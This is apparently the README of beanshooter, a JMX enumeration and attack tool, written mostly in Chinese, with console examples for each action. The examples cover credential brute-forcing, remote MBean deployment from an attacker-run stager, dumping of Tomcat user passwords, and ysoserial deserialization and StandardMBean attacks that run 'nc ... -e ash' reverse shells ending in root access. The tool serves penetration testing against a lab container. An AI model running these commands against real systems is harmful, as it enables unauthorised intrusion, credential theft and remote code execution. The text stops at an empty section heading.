beanshooter 是一个 JMX 枚举和攻击工具,用于识别 JMX 端点上的常见漏洞。
beanshooter 是一个 maven 项目,安装过程应该很简单。在安装了 maven 之后,只需执行以下命令即可创建一个可执行的 .jar 文件:```console
[qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter
[qtc@devbox ~]$ cd beanshooter
[qtc@devbox ~]$ mvn package
你也可以使用为[每个版本](https://github.com/qtc-de/beanshooter/releases)创建的预构建包。
开发分支的预构建包会自动创建,可在 *GitHub* 的[操作页面](https://github.com/qtc-de/beanshooter/actions)找到。同时,也有一个用于运行 *beanshooter* 的预构建 Docker 镜像[可用](#docker-image)。
*beanshooter* 不包含 *ysoserial* 作为依赖项。要启用 *ysoserial* 支持,你需要指定 ``ysoserial.jar`` 文件的路径作为额外参数(例如 ``--yso /opt/ysoserial.jar``),或者在构建项目之前更改 [beanshooter 配置文件](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) 中的默认路径。
*beanshooter* 支持 *bash* 的自动补全功能。要利用自动补全,你需要安装 [completion-helpers](https://github.com/qtc-de/completion-helpers) 项目。如果设置正确,只需将[补全脚本](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter)复制到你的 ``~/.bash_completion.d`` 文件夹即可启用自动补全。```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/
不同 beanshooter 操作可分为两组:基本操作 和 MBean 操作。其中,基本操作 用于对 JMX 端点执行常规操作,而 MBean 操作 则针对特定的 MBean 进行交互。有关更多详细信息,请参阅以下部分的使用示例。```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...
beanshooter v3.0.0 - a JMX enumeration and attacking tool
positional arguments:
Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server
MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files
named arguments: -h, --help show this help message and exit
### Basic Operations
---
基本操作是可对 JMX 服务执行的通用操作。这些通常是不针对特定 MBean 或针对 beanshooter 没有内置支持的 MBean 的操作。
#### Attr
`attr` 操作用于获取或设置指定 *MBean* 上的属性。要获取可用属性,应使用 `info` 操作:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
当仅指定属性名称时,beanshooter 会获取并显示当前属性值:```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false
当指定了额外的值时,*beanshooter* 会尝试设置相应的属性。对于类型不同于 *String* 的属性,需要使用 `--type` 选项指定属性类型:```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true
brute动作对受密码保护的JMX服务执行暴力破解攻击。当不附带额外可选参数运行时,beanshooter使用内置的少量常见用户名-密码组合词表。对于更专注的攻击,应使用--username-file和--password-file选项指定更全面的词表。```console
[qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090
[+] Reading wordlists for the brute action.
[+] Reading credentials from internal wordlist.
[+]
[+] Starting bruteforce attack with 10 credentials.
[+]
[+] Found valid credentials: admin:admin
[+] [10 / 10] [########################################] 100%
[+]
[+] done.
#### 部署
`deploy` 动作可用于在 *JMX* 服务上部署 *MBean*。此操作**不应**用于部署具有默认支持的 *MBeans*,例如 *TonkaBean*。部署具有默认支持的 *MBeans* 应通过相应的 [MBean 操作](#mbean-operations) 进行。
当您要部署的 *MBean* 已被 *JMX* 服务知晓时,只需指定实现 *MBean* 类的类名和所需的 `ObjectName`:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: StringMonitor
[+] MBean with object name qtc.test:type=Monitor was successfully deployed.
当MBean类不为JMX服务所知时,您可以使用--jar-file和--stager-url选项来提供一个实现:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: ExampleBean
[+]
[+] MBean class is not known to the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: non.existing.example.ExampleBean
[+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Object: qtc.test:type=Example
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484
[+]
[+] MBean with object name qtc.test:type=Example was successfully deployed.
#### Enum
`enum` 动作枚举 *JMX* 端点上的某些配置细节。它始终检查 *JMX* 端点是否需要身份验证,以及是否允许预认证的任意反序列化。```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server requires authentication.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer accepted the payload class.
[+] Configuration Status: Non Default
当不需要身份验证,或者指定了有效的凭据时,enum 操作还会尝试从 JMX 端点枚举一些进一步的信息。这包括非默认 MBeans 列表,以及例如 Apache Tomcat 服务器上注册的用户账户:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 57 MBeans are currently registred on the MBean server.
[+] Listing 39 non default MBeans:
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080")
[...]
[+]
[+] Enumerating tomcat users:
[+]
[+] - Listing 3 tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[...]
When invoking the `enum` action on a *SASL* protected endpoint, *beanshooter* attempts to enumerate the *SASL* profile
that is configured for the server. This is only possible to a certain extend and the *TLS* configuration of the server
cannot be enumerated. If the *SASL* profile identified by *beanshooter* does not work, you should always retry with/without
the `--ssl` option:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] Credentials are requried and the following hostname must be used: iinsecure.example
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
...
info 动作可用于获取 MBean server 上可用的 MBeans 的方法和属性信息。
当不带额外参数调用时,将打印所有可用 MBeans 的方法和属性信息。当指定附加的 ObjectName 时,仅打印指定 MBean 的方法和属性信息:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
#### 调用
`invoke` 动作可用于调用已部署在 *JMX* 端点上的 *MBean* 的任意方法。
除了端点信息外,`invoke` 动作还需要目标 *MBean* 的 `ObjectName` 以及你想要调用的方法签名。
如果指定的方法需要参数,也必须同时指定这些参数。以下示例展示了一次无参数的方法调用,其中调用了 `DiagnosticCommand` *MBean* 的 `vmVersion()` 方法:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1
调用需要参数的方法时,指定的 beanshooter 参数会作为 Java 代码 进行评估。简单的参数类型(如整数或字符串)可以直接通过指定对应的值来传递。复杂的参数类型可以像在 Java 中那样构造(例如 'new java.util.HashMap()')。以下示例展示了调用 DiagnosticCommand MBean 上的 help(String[] args) 方法的情况:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }'
Compiler.directives_add
Add compiler directives from file.
Impact: Low
Permission: java.lang.management.ManagementPermission(monitor)
Syntax : Compiler.directives_add
Arguments: filename : Name of the directives file (STRING, no default value)
对于需要初始化的更复杂参数类型,您可以使用 *beanshooters PluginSystem* 并定义一个实现 [IArgumentProvider 接口](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java) 的自定义类。
#### Jolokia
如 *beanshooters* [Jolokia 文档](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) 所述,几乎所有的 *beanshooter* 操作都可以与 `--jolokia` 开关一起使用,以针对基于 *Jolokia* 的 *JMX* 端点。除了对 *Jolokia JMX* 适配器的通用支持外,*beanshooter* 还支持一个专用的 `jolokia` 操作。该操作可用于强制一个运行在代理模式下的 *Jolokia* 代理发起出站连接:```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0
同样的结果也可以通过调用常规的 beanshooter 操作(如 list)并配合 --jolokia-proxy service:jmx:... 选项来实现。jolokia 操作作为一个快捷方式被添加,这样你就不需要记住 JNDI 语法了。使用 jolokia 操作时,--jolokia 选项默认被假定。
list 操作会列出远程 JMX 服务上所有已注册的 MBeans:```console
[qtc@devbox ~]$ beanshooter list 172.17.0.2 9010
[+] Available MBeans:
[+]
[+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager)
[+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool)
[+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate)
[...]
#### Model
`model` 操作是 *beanshooter* 中最强大的操作之一,它实现了一种由 [Markus Wulftange](https://twitter.com/mwulftange) 发现的技术,允许你调用任意 *public* 和 *static* 的 Java 方法。此外,还可以对用户创建的对象实例调用 *public* 对象方法。唯一的要求是所使用的方法参数以及提供的对象实例(对于 *non static* 方法)必须是可序列化的。
下面的列表展示了一个示例用法,其中将一个 `File` 对象作为对象实例提供,并对其调用 `String[] list()` 操作:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - [Ljava.lang.String; list()
[...]
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new java.io.File("/")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv
setManagedResource 方法始终可用,可用于更改要操作的对象实例:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
passwd
shells
opt
modules
mtab
issue
inittab
hosts
...
在调用 *静态* 方法时,也需要一个对象实例。然而,该对象实例的实际类并不重要。例如,如果你想从 `java.lang.System` 调用 `getProperties()`,你也可以使用一个简单的 `String` 作为对象实例。这种情况下,只有指定的类名起作用:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - void runFinalization()
[+] - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] - java.lang.String getProperty(java.lang.String)
[+] - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] - long currentTimeMillis()
[+] - long nanoTime()
[+] - java.lang.SecurityManager getSecurityManager()
[+] - void loadLibrary(java.lang.String)
[+] - java.lang.String mapLibraryName(java.lang.String)
[+] - void load(java.lang.String)
[+] - java.lang.String lineSeparator()
[+] - java.io.Console console()
[+] - java.nio.channels.Channel inheritedChannel()
[+] - java.util.Properties getProperties()
[+] - void setProperties(java.util.Properties)
[+] - java.lang.String clearProperty(java.lang.String)
[+] - java.util.Map getenv()
[+] - java.lang.String getenv(java.lang.String)
[+] - void gc()
[+] - void wait()
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - java.lang.Class getClass()
[+] - void notify()
[+] - void notifyAll()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: "does not matter"
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
--> mixed mode
java.runtime.version
--> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
--> UnicodeLittle
...
model 动作利用反射来确定指定类上的可用方法。如果您在本地没有该类,仍可通过 --signature 或 --signature-file 选项指定可用方法来使用它。但要注意,要访问非默认类,您需要提供一个同样不是默认类(即不在 rt.jar 中)的对象实例。这是必需的,因为目标类需要由与所提供的对象实例相同的 ClassLoader 加载。对于 beanshooters 的 example-server,javax.management.remote.message.VersionMessage 是合适的,因为该类存在于 opendmk_jmxremote_optional_jar 中,该 JAR 在客户端和服务器端都存在。我们可以将其作为对象实例来调用其他自定义类(如 de.qtc.beanshooter.server.utils.Logger)上的方法:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[+] Deploying RequiredModelMBean supporting user specified methods
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
[+]
[+] Available Methods:
[+] - String getIndent()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
EMPTY OUTPUT - Just an Indent ;)
如果你想知道更多关于 `model` 动作所实现的技术,我强烈推荐这篇 [博客文章](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)(由 [CODE WHITE](https://twitter.com/codewhitesec) 撰写),其中对其进行了非常详细的解释。
#### Serial
`serial` 动作可用于对 *JMX* 端点执行反序列化攻击。默认情况下,该动作尝试进行身份验证后的反序列化攻击。为此,你的目标 *JMX* 服务需要允许未经身份验证的访问,或者你需要提供有效的凭据:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)
JMX 服务也可能容易受到预认证反序列化攻击。要利用这一点,可以使用 --preauth 开关:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)
针对 *JMXMP* 端点,预认证反序列化通常是可能的。遗憾的是,在 `enum` 操作中无法正确枚举这一点。如果你遇到一个 *JMXMP* 端点,你应该直接尝试一下。
#### Stager
`stager` 动作启动一个可用于分发 *MBeans* 的 stager 服务器。创建用于 *MBean* 分发的 stager 服务器通常在使用 *beanshooters* 的 `deploy` 动作时自动完成。然而,有时需要使用独立服务器。当使用 `stager` 动作时,你可以指定要分发的内置 *MBean* 的名称(例如 `tonka`)或 `custom` 关键字。如果指定了 `custom`,则需要 `--class-name`、`--object-name` 和 `--jar-file` 选项。```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+]
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 93691b8bae4143f087f7a3123641b20d
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a
standard 操作会部署一个实现 TemplateImpl 类的 StandardMBean,以实现不同的目标。该技术由 Markus Wulftange 发现,而 beanshooter 通过它实现命令执行、文件上传及 TonkaBean 部署。```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
[+] MBean was successfully removed.
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:40033.
id
uid=0(root) gid=0(root) groups=0(root)
通过 `standard` 操作执行的命令是盲执行的,你无法收到命令的输出。
此外,默认情况下,你的命令会被传递给 `Runtime.exec(String str)`,它不支持特殊的
shell 特性。如果你想使用 shell 特性,请使用 `--exec-array` 选项,并按如下方式指定命令:
`'sh -c echo "my cool command" > /tmp/test.txt'`。使用 `--exec-array` 时,*beanshooter* 将
指定的命令拆分为三个部分,并将它们传递给 `Runtime.exec(String[] arr)`。然而,通常建议使用
*TonkaBean* 部署来执行命令:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
与常规的 tonka deploy 操作相比,通过 StandardMBean 进行部署的巨大优势在于无需出站网络连接。如果通过 standard ... tonka 直接部署不成功,你或许可以上传 TonkaBean Jar 文件,并通过 MLet 及 file:// 协议加载它:```console
[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: ./index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:/tmp/
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known by the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from file:///tmp/index.html
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.
如果你想要了解更多关于 `standard` 动作所实现的技术,我强烈推荐这篇由 [CODE WHITE](https://twitter.com/codewhitesec) 撰写的 [博文](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html),它非常详细地解释了该技术。
#### 取消部署
`undeploy` 动作从 *JMX* 服务中移除指定 `ObjectName` 的 *MBean*:```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.
与针对 JMX 端点所暴露的通用功能的基本操作相比,MBean 操作 针对特定的 MBean。对于每个支持的 MBean,beanshooter 提供了另一个子解析器,其中包含相应 MBean 的可用操作和选项。以下列表展示了 mlet MBean 及其相关子解析器的示例:```console
[qtc@devbox ~]$ beanshooter mlet -h
usage: beanshooter mlet [-h] ...
positional arguments:
load load a new MBean from the specified URL
attr set or get MBean attributes
deploy deploys the specified MBean on the JMX server
info print server information about the MBean
invoke invoke the specified method on the MBean
stats print local information about the MBean
status checks whether the MBean is registered
undeploy undeploys the specified MBEAN from the JMX server
named arguments: -h, --help show this help message and exit
### 通用 MBean 操作
---
一些 *beanshooter* 操作可用于每个 *MBean*,并在本节中演示。
这些通用 *MBean* 操作通常镜像[基本操作](#basic-operations)的功能,
但无需指定 *ObjectName*。
#### 通用 Attr
`attr` 动作的工作原理与基本操作中的 `attr` 动作相同。但是,不再需要指定 *ObjectName*,
因为它已经包含在指定的 *MBean* 中。```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase
deploy 动作基本与基本操作中的 deploy 动作相同。
然而,由于类名、ObjectName 和实现 jar 文件都已经与指定的 MBean 相关联,
你只需通过此动作指定 --stager-url 选项(假设有一个内置的 jar 文件可用):```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known to the server.
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 440441bf8c794d40a83caf1e34cd9993
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /440441bf8c794d40a83caf1e34cd9993
[+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed
从 *beanshooter v4.1.0* 开始,也可以通过 [standard](#standard) 操作部署 *TonkaBean*。通过 `standard` 操作部署 Bean **不要求** 目标服务器具有出站网络连接。
#### Generic Export
有时无法使用 *beanshooters* stager 服务器提供 *MBean* 实现。常见场景是到本地机器的出站连接被阻止。在这些情况下,你可能希望从其他位置加载 *MBean*,例如内部网络中有写入权限的 *SMB* 服务。
`export` 操作导出实现指定 *MBean* 的 *jar* 文件和相应的 *MLet HTML* 文档,该文档用于使用 *MLet* 加载 *MBean*。假设你想从监听在 `10.10.10.5` 的 *SMB* 服务提供 *TonkaBean*,可以使用以下命令:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:////10.10.10.5/share/
之后,你可以将导出的 jar 文件和 index.html 文件上传到 SMB 服务,并使用 beanshooters 的 deploy 动作,并指定 --stager-url file:////10.10.10.5/share/index.html 选项。
info 动作会列出指定 MBean 的方法和属性信息:```console
[qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090
[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean
[+] ObjectName: Users:type=UserDatabase,database=UserDatabase
[+]
[+] Attributes:
[+] modelerType (type: java.lang.String , writable: false)
[+] readonly (type: boolean , writable: false)
[+] roles (type: [Ljava.lang.String; , writable: false)
[+] groups (type: [Ljava.lang.String; , writable: false)
[+] users (type: [Ljava.lang.String; , writable: false)
[+] pathname (type: java.lang.String , writable: true)
[+] writable (type: null , writable: false)
[+]
[+] Operations:
[+] java.lang.String findGroup(java.lang.String groupname)
[+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)
[+] void removeGroup(java.lang.String groupname)
[+] void removeUser(java.lang.String username)
[+] void save()
[+] java.lang.String findRole(java.lang.String rolename)
[+] void removeRole(java.lang.String rolename)
[+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description)
[+] java.lang.String findUser(java.lang.String username)
[+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)
#### 通用调用
